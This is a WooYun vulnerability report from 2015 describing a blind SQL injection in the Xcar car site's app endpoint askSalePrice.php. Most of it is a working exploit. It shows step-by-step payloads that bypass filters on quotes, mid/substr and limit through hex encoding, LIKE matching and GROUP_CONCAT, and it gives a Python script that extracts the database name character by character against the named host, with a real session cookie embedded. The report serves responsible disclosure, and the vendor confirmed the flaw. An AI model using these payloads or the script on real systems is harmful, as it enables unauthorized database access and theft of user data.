当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0149989

漏洞标题:爱卡汽车官网APP存在SQL注入漏洞(全过程艰难绕过多关键字过滤+验证脚本)

相关厂商:爱卡汽车网

漏洞作者: 路人甲

提交时间:2015-10-28 08:53

修复时间:2015-12-12 11:00

公开时间:2015-12-12 11:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-28: 细节已通知厂商并且等待厂商处理中
2015-10-28: 厂商已经确认,细节仅向厂商公开
2015-11-07: 细节向核心白帽子及相关领域专家公开
2015-11-17: 细节向普通白帽子公开
2015-11-27: 细节向实习白帽子公开
2015-12-12: 细节向公众公开

简要描述:

全过程攻略——艰难绕过多关键字过滤跑出全数据:
一次性同时过滤了单双引号、<>、mid/substr/substring、limit等

详细说明:

目标:爱卡汽车官网APP爱买车
检测发现以下地方存在注入:(POST中的did_all,布尔盲注)

POST /interface/gcpapp/askSalePrice.php HTTP/1.1
Content-Length: 396
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://mi.xcar.com.cn/interface/gcpapp/askSalePrice.php
Cookie: iphonecookie=d986Lj6fkWsE3MM/QdTmjPQhCAaTgrGFPrkjbvnp4STEMwWqMXd5RxvN15ksoTHy4HV3NZPP7B7v3ReafyKA4adBwBBq6IBA5lab2fFAKWvzKgV9KxBlIeGjc0Oz20/JKQ
Host: mi.xcar.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
appName=1&carId=23114&channelId=126&cityId=484&dealerId=85287&deviceId=A0000038518D0C&&deviceType=2&did_all=85287&encryptedTelephone=03ce7ab07859e52a030105e0c48bfa98&phone=13525698541&provinceId=3&pSeriesId=1403&showRecommend=1&uId=9706075&username=%E9%99%88%E9%9D%99&ver=3.1


放进SQLMap中,

sqlmap.jpg


但发现没能跑出数据,用fiddler代理看了下SQLMap的包,又手工测试了下,发现过滤了些关键字,以下是绕过尝试全过程。
一、过滤 PK 绕过
1、刚开始发现过滤了<>,于是用=代替,成功跑出user()长度,语句如下:

length(user())=X


2、接着爆当前用户名:ord(mid(user(),1,1))>33,发现报错(非正常返回),说明语法错误,估计哪个关键字被过滤了,于是先确定哪个关键字被过滤了,尝试如下:
1)检查mid:mid(user(),1,1)>'a',报错 => mid或单引号被过滤了
2)检查单双引号:'a'='a',"a"="a",报错 => 单双引号被过滤。
绕过方法:hex编码(a->0x61)
3)再次检查mid/substr/substring:mid(user(),1,1)>0x61,报错 => mid/substr/substring被过滤。
绕过方法:like正则。
综上,使用以下语句即可绕过过滤返回user()的值(假设是root),语句中X枚举全字符,一位一位地确定,直到枚举结束。
user() like 'X%'
user() like 'rX%'
...
user() like 'root%'
另外,因为过滤了单双引号,所以把'X%'编码下~~,因此最终语句如下:(XX自己枚举~)

user() like 0xXX25


3、同理,可得出database()

database() like 0xXX25


4、接着,爆所有数据库个数,无过滤:(所幸select、from没过滤~)

(select count(*) from information_schema.SCHEMATA)=5


5、然后爆所有数据库名,理论上应该是
(select SCHEMA_NAME from SCHEMATA limit 0,1) like 0xXX25
结果报错,无悬念了,肯定是limit被过滤了。于是改为以下语句绕过:(多行合一)

(select GROUP_CONCAT(SCHEMA_NAME) from information_schema.SCHEMATA) like 0xXX25


6、接下来爆数据表,先看数据表个数(以本数据库GOCAR为例),按以上绕过原则写出以下语句,可得表个数为278:

(select count(*) from information_schema.TABLES where TABLE_SCHEMA=0x474f434152)=278


7、爆数据表名,以GOCAR库为例,按以上绕过原则写出以下语句:

(select GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x474f434152) like 0xXX25


8、其他数据按照此思路爆出即可,所幸select from where都没过滤~~,此处不一一演示。
二、验证脚本(Python)
根据以上思路,写出Python批量工作,此处以爆database()为例,其他的按以上思路替换查询语句即可(程序中使用了本地代理,测试时请自行去除,否则无响应)

#!/usr/bin/env python
#coding=utf8
import httplib, urllib, re, time
database = ''
temp_database = ''
httpClient = None
i = 33
while i < 128:
if i == 37:
i = i+1
try:
params = 'appName=1&carId=23114&channelId=126&cityId=484&dealerId=85287&deviceId=A0000038518D0C&&deviceType=2&did_all=(SELECT (CASE WHEN (database() like 0x'+temp_database+str(hex(i))[2:]+'25) THEN 6400 ELSE 6400*(SELECT 6400 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&encryptedTelephone=03ce7ab07859e52a030105e0c48bfa98&phone=13525698541&provinceId=3&pSeriesId=1403&showRecommend=1&uId=9706075&username=%E9%99%88%E9%9D%99&ver=3.1'
headers = {"Host": "mi.xcar.com.cn",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0",
"Accept-Encoding": "gzip,deflate",
"Accept": "*/*",
"Cookie": "iphonecookie=d986Lj6fkWsE3MM/QdTmjPQhCAaTgrGFPrkjbvnp4STEMwWqMXd5RxvN15ksoTHy4HV3NZPP7B7v3ReafyKA4adBwBBq6IBA5lab2fFAKWvzKgV9KxBlIeGjc0Oz20/JKQ",
"Connection": "keep-alive",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": len(params)}
httpClient = httplib.HTTPConnection("192.168.1.2", 8080, timeout=30)
httpClient.request("POST", "http://mi.xcar.com.cn/interface/gcpapp/askSalePrice.php", params, headers)
#st = time.time()
response = httpClient.getresponse()

rp = response.read()
if len(rp) == 94:
temp_database = temp_database + str(hex(i))[2:]
database = database + chr(i)
print 'Database: ', database
i = 33
i=i+1

except Exception, e:
print e
finally:
if httpClient:
httpClient.close()


三、数据截图
1、当前数据库用户:[email protected]

user() like 0xXX25


user.jpg


2、当前数据库:GOCAR

database() like 0xXX25


current-db.jpg


3、所有数据库,共5个

(select GROUP_CONCAT(SCHEMA_NAME) from information_schema.SCHEMATA) like 0xXX25


dbs.jpg


4、不妨看下GOCAR库的表,共278个,数据安全考虑,只列出前几个

(select GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x474f434152) like 0xXX25


table.jpg


其他全数据同理即可绕过全跑出来,这里就不深入了~

漏洞证明:

修复方案:

请多指教~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-10-28 10:58

厂商回复:

感谢 @路人甲 的详尽分析,问题已经确认,我们会尽快修复!

最新状态:

暂无